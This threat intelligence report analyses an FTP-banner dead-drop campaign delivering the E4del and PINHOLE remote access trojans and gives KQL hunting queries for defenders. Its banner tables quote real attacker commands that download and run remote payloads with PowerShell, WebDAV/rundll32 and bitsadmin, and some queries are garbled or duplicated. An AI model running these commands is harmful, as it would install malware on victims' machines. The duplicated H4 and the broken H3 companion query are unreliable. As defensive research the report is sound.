FTP Banner Dead Drops: A Hunter’s Field Guide to E4del and PINHOLE

THREAT INTELLIGENCE REPORT 

Prepared by   Essa Amous, CTO, RST Cloud 

Reporting date   10 September 2026 

Introduction 

This article builds on the original research published by SOCRadar, which identified a Windows malware delivery campaign using FTP server banners as dead-drop resolvers to distribute the E4del and PINHOLE remote access trojans.
Rather than embedding a fixed payload location or command-and-control address in the initial shortcut, the delivery chain retrieves its next-stage instruction from an attacker-controlled FTP server at runtime.

A dead-drop resolver (mapped to MITRE ATT&CK T1102.001) is a location used to store instructions, configuration or command-and-control details for malware. Threat actors commonly use public web services, social-media profiles or code repositories for this purpose because they can update the content without changing the malware already running on a victim device.

In this campaign, the dead drop is the FTP greeting banner. Under RFC 959, an FTP server sends a 220 response immediately after a TCP connection is established, before a username, password or other authentication action. The campaign abuses that pre-authentication response to deliver commands that initiate the next stage of the infection chain and ultimately deploy E4del or PINHOLE.

The technique is notable because it turns a normally overlooked protocol field into a delivery mechanism. It also creates a clear detection opportunity: an endpoint making an outbound FTP connection and rapidly launching an interpreter, WebDAV-based stage or BITS download is far more suspicious than a conventional FTP workflow.

The core detection insight: a legitimate FTP session authenticates and transfers files; a dead-drop retrieval does neither. A banner-only exchange on TCP/21 isn’t an unusual form of FTP – structurally, it isn’t FTP at all.

The Delivery Chain

The infection begins with phishing, most likely a ZIP archive that contains a Windows shortcut (.LNK) file. Running the shortcut triggers a connection to an attacker-controlled FTP server; the shortcut’s stager retrieves the server’s pre-authentication banner and hands its content to a command interpreter rather than treating it as a greeting. From there, the chain diverges by delivery variant, but every observed route shares the same narrow chokepoint: outbound TCP/21 followed immediately by interpreter execution.

Every route above passes through one node: outbound TCP/21 followed by an interpreter processing the response. Three delivery variants and two malware families, but one chokepoint. That is where detection budget should be spent.

Variant A – FTP output piped straight into an interpreter

Windows built-in ftp.exe, invoked with a bare hostname, connects and prints the server’s banner to standard output. Piping that output into a shell or scripting interpreter means the interpreter receives the banner text on standard input and executes it as a script. There is no custom stager, no parser, no decoder – two in-box Windows binaries and a pipe character do the entire job. That absence of custom tooling is itself notable: there is no unique file to hash or signature, so file-based detection is blind to this stage, while the behaviour (a network utility piping into a script host) has essentially no legitimate justification.

Variant B – WebDAV as a second stage

One observed chain uses a hidden-window process launch that mounts a remote share reachable over HTTP (rather than SMB) using the Windows WebDAV redirector, then executes a script or DLL export directly from that mounted path via rundll32.exe. This WebDAV-over-HTTP pattern for post-exploitation execution has also been documented independently in unrelated campaigns, where operators similarly split obfuscated command keywords across environment variables to defeat substring-matching detection rules – a technique consistent with what’s observed here.

Variant C – BITS-based download and execute

A third variant uses the built-in BITS transfer utility to fetch a script from remote infrastructure, execute it in a non-interactive mode and then delete it immediately afterward – a self-cleanup step consistent with the anti-forensics discipline seen elsewhere in this malware’s persistence mechanisms.

E4del Technical Analysis

E4del is a Node.js application bundled inside a digitally signed Electron package that impersonates the Discord client. The attackers keep the legitimate, signed executable but replace the application’s internal code archive, so the operating system sees a trusted signed binary while attacker-controlled JavaScript runs inside the Electron/Node.js runtime. It launches with hidden-window switches so no interface ever renders and performs an anti-analysis check that expects the victim’s Windows username as a launch argument – if it doesn’t match, the process exits immediately.

Once running, E4del supports an interactive shell, on-demand screenshot capture, live desktop streaming over a persistent connection (refreshing roughly every two seconds) and the ability to fetch, extract and launch additional payloads before deleting the staging archive. Persistence rides on Electron’s own login-item settings, pointing at the legitimate signed Discord executable, which makes the autostart entry look unremarkable in a startup review. Command-and-control traffic uses encrypted HTTP POST beaconing with jittered polling intervals designed to blend into normal traffic patterns. Reporting also references an attempted privilege-escalation module tied to a native Node.js addon, though the precise mechanism has not been independently confirmed by multiple sources and should be treated as unverified.

PINHOLE Technical Analysis

PINHOLE is a more heavily engineered 64-bit Windows RAT and its C2 resolution is itself a second dead-drop layer: rather than resolving directly to a command server, it pulls its C2 configuration from legitimate high-reputation platforms – pin descriptions on Pinterest and survey questions on SurveyMonkey – and then proxies the actual command traffic through a serverless edge-compute network. This is deliberate resilience: even if the FTP-banner delivery infrastructure is taken down, the malware’s ongoing command channel survives because it depends on mainstream platforms that are operationally very difficult to block outright.

On the host, PINHOLE minimizes its memory footprint through “shellcode fluctuation” – keeping only a small decrypted payload segment (reported around 4KB) resident in memory at any moment. It uses direct system-call techniques (commonly called Halo’s Gate) to bypass user-mode API hooking employed by many endpoint security products and its final payload is injected into a suspended, legitimate Windows process – specifically ApplicationFrameHost.exe, the Universal Windows Platform frame host – via Early Bird APC injection. Configuration and build data are stored inside NTFS alternate data streams attached to desktop.ini files, keeping the data off the standard file listing. Persistence is established through a registry autorun value under HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows.

PINHOLE’s documented capability set spans roughly 14 commands, including file enumeration, upload and download, remote command execution, process management, screenshot capture and a dedicated module for harvesting browser-stored credentials. At the time it was analyzed, the malware’s tasking script had logged only a small number of execution events, which is consistent with an early-stage or still-limited-scale campaign rather than a mature, widely deployed operation .

FTP Banner Commands in the Wild

This section adds direct infrastructure observations beyond what was available in public reporting.

Between 20 and 25 August 2026, FTP service records were collected from Shodan and Netlas for known and suspected hosts in the cluster. The raw banner data is included below to show the delivery commands as they were exposed by the servers.

The cluster, seen from Shodan’s report view

Three hosts, three different countries, three different hosting organisations – and one unmistakably shared authorship. Every banner opens with the identical prefix start "" conhost.exe --headless cmd:

Host	Org / Geo	Delivery variant	Banner content (transcribed)
69.48.228[.]126	Comcast Cable Communications – Philadelphia, US	Variant B: WebDAV + WScript	start "" conhost.exe --headless cmd /v:on /c "set a=pushd&set b=wscript &set z=verificar&call !a! \\!z!.farolesa.mx@80\pub & !b! Verificar.js"
51.89.199[.]125	1337 Services GmbH – London, UK	Variant A: FTP redirector	start "" conhost.exe --headless cmd /c "ftp 51.89.199.118|powershell"
72.5.43[.]81	BL Networks – Bucharest, RO	Variant B :WebDAV + Rundll32	start "" conhost.exe --headless cmd /v:on /c "set a=pushd&set b=rundll32 &set z=verificar&call !a! \\!z!.farolesa.mx@80\pub & !b! u.l,rpHwu5xtyg4OZ"

conhost.exe --headless is the ConPTY pseudoconsole host. Windows uses it legitimately (Windows Terminal, VS Code, OpenSSH server), but here it is being used deliberately as a window suppressor: it runs the following command line with no visible console. This is Hidden Window execution (T1564.003) implemented through a signed, in-box Microsoft binary that most detection content ignores entirely.

set a=pushd&set b=wscript&set z=verificar&call !a – delayed-expansion variable splitting (cmd /v:on). The strings pushd, wscript and verificar never appear contiguously in the command line as written; they are assembled at runtime. This is string-obfuscation aimed squarely at naive command-line substring rules.

\\verificar.farolesa.mx@80\pub – a WebDAV UNC path. The @80 suffix instructs the Windows WebDAV redirector to reach the share over HTTP on port 80 rather than SMB on 445. pushd to that path mounts it as a drive letter; the follow-on wscript Verificar.js or rundll32 u.l,rpHwu5xtyg4OZ then executes directly from the remote share.

Following the chain: Shodan detail on 51.89.199[.]118

The banner at 51.89.199[.]125 told the victim to go talk to 51.89.199[.]118. Here is what .118 answers with:

(New-Object System.Net.WebClient).DownloadFile('http://51.89.199.125/i',  $env:localappdata + '\d.zip'); (Expand-Archive -Path $env:localappdata\d.zip -DestinationPath $env:localappdata); Start-Process $env:localappdata\discord\discord.exe -Args '--init', "$env:username"

That is the E4del delivery, complete, in a pre-authentication FTP greeting. Download a ZIP to %LOCALAPPDATA%, expand it in place and launch the trojanised Discord-branded Electron binary with an –init switch and the victim’s username as an argument.

Note the topology: .125 and .118 are adjacent addresses in the same /24 with sequential rDNS (ip125.ip-51-89-199.eu, ip118.ip-51-89-199.eu). The chain also loops – .118’s banner pulls the payload back from .125’s HTTP service. The operator is running a two-hop FTP relay: the first banner is a redirector, the second is the payload delivery.

The critical link in the Delivery Chain

start "" conhost.exe --headless cmd /c "ftp 51.89.199.118|powershell"

Windows built-in ftp.exe, when invoked with a bare hostname, connects and prints the server’s greeting to standard output. Piping stdout into powershell means PowerShell receives the banner text on stdin and executes it as a script.

In this variant, there is no dedicated client-side stager to parse, decode or decrypt the banner content. The chain relies on native Windows utilities: ftp.exe retrieves and writes the FTP greeting to standard output, while a pipe passes that output directly to powershell.exe for execution. In practical terms, the initial stage can be reduced to two built-in binaries and a pipe character rather than a bespoke malware component.

This distinction matters for detection engineering:

• There is no custom binary to hash, signature or match with YARA. The initial-access chain is built entirely from living-off-the-land binaries, so controls focused only on suspicious files will miss this stage.
• The behaviour is highly unusual. Legitimate FTP automation normally supplies commands through a script file, such as ftp -s:script.txt; it does not pipe an FTP server response into a scripting interpreter. A process chain resembling ftp.exe | powershell.exe is therefore a high-confidence detection opportunity (see hunt H1).
• The banner content can become endpoint evidence. When the FTP response is executed as PowerShell, PowerShell Script Block Logging can capture the received content in Windows Event ID 4104. This can provide the dead-drop command itself without requiring packet capture, making hunt H6 particularly valuable.

Additional Delivery Infrastructure Observations

The following entries extend the initial banner set with additional infrastructure associated with the E4del delivery path and the BITS-based PINHOLE branch. Unlike the original three hosts, the available records for the two additional Variant A nodes identify the downloader behaviour and payload location:

Host	Org / Geo	Delivery variant	Banner Content (transcribed)
51.89.199[.]118	1337 Services GmbH – London, UK	Variant A: PowerShell payload delivery	Second-hop FTP host. Its banner contained a PowerShell downloader that retrieved hxxp://51.89.199[.]125/i, saved the archive as d.zip: (New-Object System.Net.WebClient).DownloadFile(\'http://51.89.199.125/i\',$env:localappdata+\'\\d.zip\');(Expand-Archive -Path $env:localappdata\\d.zip -DestinationPath $env:localappdata);Start-Process $env:localappdata\\discord\\discord.exe -Args \'--init\',"$env:username";\n

Host	Org / Geo	Delivery variant	Banner Content (transcribed)
54.37.237[.]166	1337 Services GmbH – Warsaw, PL	Variant A: PowerShell payload delivery	FTP downloader node associated with retrieval from hxxp://54.37.237[.]164/i: (New-Object System.Net.WebClient).DownloadFile(\’http://54.37.237.164/i\’,$env:localappdata+\’\\d.zip\’);(Expand-Archive -Path $env:localappdata\\d.zip -DestinationPath $env:localappdata);Start-Process $env:localappdata\\discord\\discord.exe -Args \’–init\’,”$env:username”;\n

Host	Org / Geo	Delivery variant	Banner Content (transcribed)
45.61.136[.]50	BL Networks ” Los Angeles, US	Variant C: BITS and VBS delivery	Banner invoked bitsadmin to retrieve a VBS payload from hxxps://cloudflare.milicare[.]in/app/v, execute it using wscript /B, and delete %TEMP%\u.vbs afterward: start “” bitsadmin /transfer d /download /priority high https://cloudflare.milicare.in/app/v?$.vbs %TEMP%\\u.vbs && wscript /B %TEMP%\\u.vbs && del %TEMP%\\u.vbs”\r\n

Hunting queries (Microsoft Defender Advanced Hunting / KQL)

The following Microsoft Defender Advanced Hunting queries provide practical examples of how defenders can hunt for the behaviours and execution patterns described in this article.

H1 – FTP output piped into a script interpreter

Fidelity: Very high.

DeviceProcessEvents | where Timestamp > ago(30d) | where ProcessCommandLine matches regex @"(?i)\bftp(\.exe)?\s+[^\s|]+\s*\|\s*(powershell|pwsh|cmd|wscript|cscript|mshta)" | project Timestamp, DeviceId, DeviceName, ReportId, AccountName,           FileName, ProcessCommandLine,           InitiatingProcessFileName, InitiatingProcessCommandLine,           InitiatingProcessParentFileName | order by Timestamp desc

Expected false positives: effectively none. Legacy FTP automation uses ftp -s:script.txt or ftp -n, never a pipe into an interpreter. Any hit warrants treating the device as compromised.

H2 – Hidden-window console host launching an interpreter

Fidelity: High.

DeviceProcessEvents | where Timestamp > ago(30d) | where InitiatingProcessFileName =~ "conhost.exe" or FileName =~ "conhost.exe" | where ProcessCommandLine has "--headless" or InitiatingProcessCommandLine has "--headless" | extend CmdLine = coalesce(ProcessCommandLine, InitiatingProcessCommandLine) | where InitiatingProcessParentFileName !in~ (       "WindowsTerminal.exe", "Code.exe", "sshd.exe", "OpenConsole.exe",       "wt.exe", "devenv.exe", "pwsh.exe") | where CmdLine matches regex @"(?i)--headless\s+(cmd|powershell|pwsh|wscript|cscript|mshta|rundll32|bitsadmin|ftp|curl)" | project Timestamp, DeviceId, DeviceName, ReportId, AccountName,           FileName, ProcessCommandLine,           InitiatingProcessFileName, InitiatingProcessCommandLine,           InitiatingProcessParentFileName | order by Timestamp desc

Tuning guidelines: baseline for at least a week; legitimate ConPTY use (Windows Terminal, VS Code, OpenSSH) is common on developer workstations. Extend the parent-process exclusion list to match your environment’s terminal emulators.

H3 – WebDAV UNC execution over HTTP ports

Fidelity: High.

DeviceProcessEvents | where Timestamp > ago(30d) | where ProcessCommandLine matches regex @"(?i)\\\\[A-Za-z0-9._-]+@(80|443|8080|SSL)\\" | extend WebDavHost = extract(@"(?i)\\\\([A-Za-z0-9._-]+)@(?:80|443|8080|SSL)\\", 1, ProcessCommandLine) | project Timestamp, DeviceId, DeviceName, ReportId, AccountName,           WebDavHost, FileName, ProcessCommandLine,           InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Companion – execution from a mounted share, even when the mount command was obfuscated:

DeviceProcessEvents | where Timestamp > ago(30d) | whDeviceProcessEvents | where Timestamp > ago(30d) | where FolderPath startswith @"\\" or FolderPath matches regex @"(?i)^[A-Z]:\\pub\\" | where FileName in~ ("wscript.exe","cscript.exe","rundll32.exe","mshta.exe","regsvr32.exe")       or InitiatingProcessFileName in~ ("wscript.exe","cscript.exe","rundll32.exe") | project Timestamp, DeviceId, DeviceName, ReportId, FileName, FolderPath,           ProcessCommandLine, InitiatingProcessFileName | order by Timestamp desc

H4 – Delayed-expansion command assembly

Fidelity: Medium-high. Defeats keyword-splitting obfuscation.

DeviceProcessEvents | where Timestamp > ago(30d) | where InitiatingProcessFileName =~ "conhost.exe" or FileName =~ "conhost.exe" | where ProcessCommandLine has "--headless" or InitiatingProcessCommandLine has "--headless" | extend CmdLine = coalesce(ProcessCommandLine, InitiatingProcessCommandLine) | where InitiatingProcessParentFileName !in~ (       "WindowsTerminal.exe", "Code.exe", "sshd.exe", "OpenConsole.exe",       "wt.exe", "devenv.exe", "pwsh.exe") | where CmdLine matches regex @"(?i)--headless\s+(cmd|powershell|pwsh|wscript|cscript|mshta|rundll32|bitsadmin|ftp|curl)" | project Timestamp, DeviceId, DeviceName, ReportId, AccountName,           FileName, ProcessCommandLine,           InitiatingProcessFileName, InitiatingProcessCommandLine,           InitiatingProcessParentFileName | order by Timestamp desc

H5 – BITS download-and-execute

Fidelity: High.

DeviceProcessEvents | where Timestamp > ago(30d) | where FileName =~ "bitsadmin.exe" or ProcessCommandLine has "bitsadmin" | where ProcessCommandLine has_any ("/transfer", "/create", "/addfile") | where ProcessCommandLine has_any ("http://", "https://") | extend Url = extract(@"(https?://[^\s""]+)", 1, ProcessCommandLine) | extend DropPath = extract(@"(?i)((?:%\w+%|[A-Z]:)\\[^\s""]+\.(?:vbs|js|exe|dll|ps1|cmd|bat|hta))", 1, ProcessCommandLine) | where isnotempty(DropPath) or Url has_any (".vbs", ".js", ".exe", ".dll", ".ps1") | project Timestamp, DeviceId, DeviceName, ReportId, AccountName,           Url, DropPath, ProcessCommandLine, InitiatingProcessFileName | order by Timestamp desc

H6 – Recover banner content from script block logging

Fidelity: High.

DeviceEvents | where Timestamp > ago(30d) | where ActionType == "PowerShellCommand" | extend ScriptBlock = tostring(parse_json(AdditionalFields).Command) | where isnotempty(ScriptBlock) | where ScriptBlock has_all ("DownloadFile", "Expand-Archive")       or (ScriptBlock has "New-Object System.Net.WebClient" and ScriptBlock has "Start-Process") | extend DownloadUrl = extract(@"(https?://[^'""\s\)]+)", 1, ScriptBlock) | extend DropPath    = extract(@"(\$env:\w+\s*\+?\s*'[^']*\.zip')", 1, ScriptBlock) | project Timestamp, DeviceId, DeviceName, ReportId, AccountName,           DownloadUrl, DropPath, ScriptBlock,           InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

H7 – The banner-only FTP conversation

Fidelity: Medium-High.

let SanctionedFtpClients = dynamic([     "filezilla.exe","winscp.exe","ftp.exe","coreftp.exe","cyberduck.exe",     "smartftp.exe","curl.exe","wget.exe"]); DeviceNetworkEvents | where Timestamp > ago(30d) | where RemotePort in (21, 20) | where ActionType in ("ConnectionSuccess", "ConnectionAttempt") | where RemoteIPType == "Public" | summarize       Connections   = count(),       FirstSeen     = min(Timestamp),       LastSeen      = max(Timestamp),       Destinations  = make_set(RemoteIP, 50),       Processes     = make_set(InitiatingProcessFileName, 20),       CommandLines  = make_set(InitiatingProcessCommandLine, 10)       by DeviceId, DeviceName | extend SanctionedOnly = set_has_element(SanctionedFtpClients, tostring(Processes[0])) and array_length(Processes) == 1 | where SanctionedOnly == false | extend RiskNote = case(       Connections <= 3, "Low-volume - consistent with a one-shot dead-drop retrieval",       Connections <= 20, "Moderate - review",       "High volume - probably a legitimate FTP workflow") | project FirstSeen, LastSeen, DeviceName, DeviceId, Connections,           Destinations, Processes, CommandLines, RiskNote | order by Connections asc

H8 – FTP connection followed by rapid interpreter execution

Fidelity: High.

let SanctionedFtpClients = dynamic(["filezilla.exe","winscp.exe","cyberduck.exe","smartftp.exe"]); let Interpreters = dynamic([ "powershell.exe","pwsh.exe","cmd.exe","wscript.exe", "cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe", "bitsadmin.exe","certutil.exe","conhost.exe" ]); let FtpConns = DeviceNetworkEvents | where Timestamp > ago(30d) | where RemotePort == 21 and ActionType == "ConnectionSuccess" | where RemoteIPType == "Public" | where not(InitiatingProcessFileName has_any (SanctionedFtpClients)) | project ConnTime = Timestamp, DeviceId, DeviceName, FtpProcess = InitiatingProcessFileName, FtpCmdLine = InitiatingProcessCommandLine, RemoteIP, RemoteUrl; FtpConns | join kind=inner ( DeviceProcessEvents | where Timestamp > ago(30d) | where FileName in~ (Interpreters) or FolderPath has_any (@"\AppData\Local\Temp\", @"\ProgramData\", @"\Users\Public\") | project ExecTime = Timestamp, DeviceId, ReportId, ChildProcess = FileName, ChildCmdLine = ProcessCommandLine, ChildPath = FolderPath, SHA256 ) on DeviceId | where ExecTime between (ConnTime .. (ConnTime + 5m)) | extend DeltaSeconds = datetime_diff('second', ExecTime, ConnTime) | summarize arg_min(DeltaSeconds, *) by DeviceId, RemoteIP, ChildProcess, ChildCmdLine | project ConnTime, DeltaSeconds, DeviceName, DeviceId, ReportId, FtpProcess, FtpCmdLine, RemoteIP, ChildProcess, ChildCmdLine, ChildPath, SHA256 | order by DeltaSeconds asc

DeltaSeconds is the triage key. A dead-drop chain executes in under two seconds: connect, read banner and then execute. A gap of several minutes is likely a false positive.

H9 – Trojanized Discord: the injected-argument anchor

Fidelity: Very high.

DeviceProcessEvents | where Timestamp > ago(30d) | where FileName =~ "discord.exe" or ProcessCommandLine has "discord.exe" | where ProcessCommandLine has "--init"       or FolderPath !contains @"\AppData\Local\Discord\app-" | project Timestamp, DeviceId, DeviceName, ReportId, AccountName,           FileName, FolderPath, ProcessCommandLine, SHA256,           InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc

Companion – suspected Electron process spawning a shell:

DeviceProcessEvents | where Timestamp > ago(30d) | where InitiatingProcessFileName =~ "discord.exe" | where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe") | project Timestamp, DeviceId, DeviceName, ReportId, AccountName,           FileName, ProcessCommandLine,           InitiatingProcessFolderPath, InitiatingProcessSHA256 | order by Timestamp desc

H10 – Injection into a suspended system process

Fidelity: High.

let AfhNetwork =     DeviceNetworkEvents     | where Timestamp > ago(90d)     | where InitiatingProcessFileName =~ "ApplicationFrameHost.exe"     | where RemoteIPType == "Public"     | project Timestamp, DeviceId, DeviceName, ReportId, Signal = "AFH public network",               Detail = strcat(RemoteIP, ":", RemotePort, " ", coalesce(RemoteUrl,"")),               CmdLine = InitiatingProcessCommandLine; let AfhChildren =     DeviceProcessEvents     | where Timestamp > ago(90d)     | where InitiatingProcessFileName =~ "ApplicationFrameHost.exe"     | where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","wscript.exe",                           "cscript.exe","rundll32.exe","net.exe","whoami.exe","reg.exe")     | project Timestamp, DeviceId, DeviceName, ReportId, Signal = "AFH child interpreter",               Detail = ProcessCommandLine, CmdLine = InitiatingProcessCommandLine; union AfhNetwork, AfhChildren | order by Timestamp desc

ApplicationFrameHost.exe is a UWP frame host; it should never make outbound public network connections or spawn interpreters. Either indicates process injection.

Promoting Hunts to Detection Rules

The examples in this article are intended as hunting starting points, not production-ready detections. Promoting a query to an automated detection rule should follow validation against local Defender telemetry, establishment of an environment-specific baseline and tuning of the logic. Where warranted, assess result volume, false-positive rates, affected-device context and performance against controlled simulations of the relevant behaviour.